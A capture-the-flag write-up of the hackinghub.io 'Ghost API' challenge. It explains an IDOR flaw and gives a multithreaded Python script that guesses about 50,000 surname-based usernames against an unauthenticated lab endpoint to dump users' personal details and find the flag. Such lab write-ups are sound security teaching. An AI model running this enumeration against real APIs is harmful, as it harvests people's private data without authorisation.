Post

Ghost API - Hackinghub.io

Ghost API writeup from hackinghub.io

For this CTF challenge, we are given the endpoint https://z5dgz12o.eu2.ctfio.com/api/userInfo/showUserDetails/jrodriguez75 (please note that the endpoint might difer from mine due to the instance spawned). The objective is to leak confidential information from the API. There is no authorization required to access it, making it a case of an IDOR (Insecure Direct Object References) vulnerability. If you want to know more about IDOR vulnerabilities you can check these out: OWASP IDOR Prevention Cheat Sheet or Portswigger IDOR

From the challenge description, we are expected to enumerate possible usernames stored in the database and the disclosure of their PII.

The application’s API is vulnerable to an IDOR that exposes sensitive user information. However, there’s a twist — you’ll need to understand the pattern behind how usernames are generated to fully exploit this vulnerability. Can you decipher the username creation logic and access the hidden information?

An example username might be: jrodriguez75

When visiting the endpoint, the output looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
  "estado": "éxito",
  "datos": {
    "nombre_usuario": "jrodriguez75",
    "nombre": "J",
    "apellido": "Rodriguez",
    "correo_electronico": "jrodriguez75@ejemplo.com",
    "edad": 50,
    "telefono": "+34 693 741 885",
    "direccion": "Plaza del Sol 45, 28801",
    "carnet_identidad": "82980065K",
    "ciudad": "Ciudad de México"
  }
}

From this, we can infer that the username format follows a common Hispanic surname, with a lowercase letter in front and potentially a number at the end that could be a date of birth of the user when generated. We want to try all possible combinations using:

  • A single lowercase letter in front of the surname
  • The surname itself
  • Optionally, a number from 0 to 99 appended at the end

This gives us a pattern like: {a..z}{surname}{0..99 | nothing}

To automate this, I asked ChatGPT to write a Python script that generates these permutations and checks each one. I also added multithreading since there are over 50,000 combinations to try.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import string
import json
import logging
from concurrent.futures import ThreadPoolExecutor, as_completed

# Logging setup
logging.basicConfig(
    filename="output.log",
    filemode="a",
    format="%(message)s",
    level=logging.INFO
)

# Top 20 common Hispanic surnames
surnames = [
    "garcia", "rodriguez", "martinez", "hernandez", "lopez",
    "gonzalez", "perez", "sanchez", "ramirez", "torres",
    "flores", "rivera", "gomez", "diaz", "reyes",
    "cruz", "morales", "ortiz", "gutierrez", "ramos"
]

base_url = "https://z5dgz12o.eu2.ctfio.com/api/userInfo/showUserDetails/"
MAX_THREADS = 20

# Generate all username permutations
usernames = []
for letter in string.ascii_lowercase:
    for surname in surnames:
        usernames.append(f"{letter}{surname}")
        for i in range(100):
            usernames.append(f"{letter}{surname}{i}")

def check_username(username):
    url = f"{base_url}{username}"
    try:
        r = requests.get(url, timeout=5)
        if r.status_code == 200:
            try:
                data = r.json()
                pretty = json.dumps(data, indent=2)
                log_entry = f"[+] {username} -> {url}\n{pretty}\n"
            except json.JSONDecodeError:
                log_entry = f"[+] {username} -> {url}\n[!] Non-JSON Response:\n{r.text}\n"

            print(log_entry)  # Print to console
            logging.info(log_entry)  # Save to log file

    except:
        pass

# Multithreaded execution
if __name__ == "__main__":
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        futures = [executor.submit(check_username, user) for user in usernames]
        for _ in as_completed(futures):
            pass

If we wanted to expand the script with a dataset of spanish name and surnames, a resource like this could be helpful: (https://github.com/jvalhondo/spanish-names-surnames)

After a short amount of time, the flag appears in the terminal output along with a lot of other hits:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
  "estado": "éxito",
  "datos": {
    "nombre_usuario": "cgarcia",
    "nombre": "C",
    "apellido": "Garcia",
    "correo_electronico": "cgarcia@ejemplo.com",
    "edad": 21,
    "telefono": "+34 610 915 022",
    "direccion": "Plaza del Sol 28, 28773",
    "carnet_identidad": "29367700N",
    "ciudad": "Lima",
    "flag": "flag{9c9b9206bc76e06c6efd87fe80cfb310}"
  }
}

Flag: flag{9c9b9206bc76e06c6efd87fe80cfb310}

If you wan’t to know more about this challenge and the real world bug bounty it comes from, you can see NahamSec’s video about it on Youtube

This post is licensed under CC BY 4.0 by the author.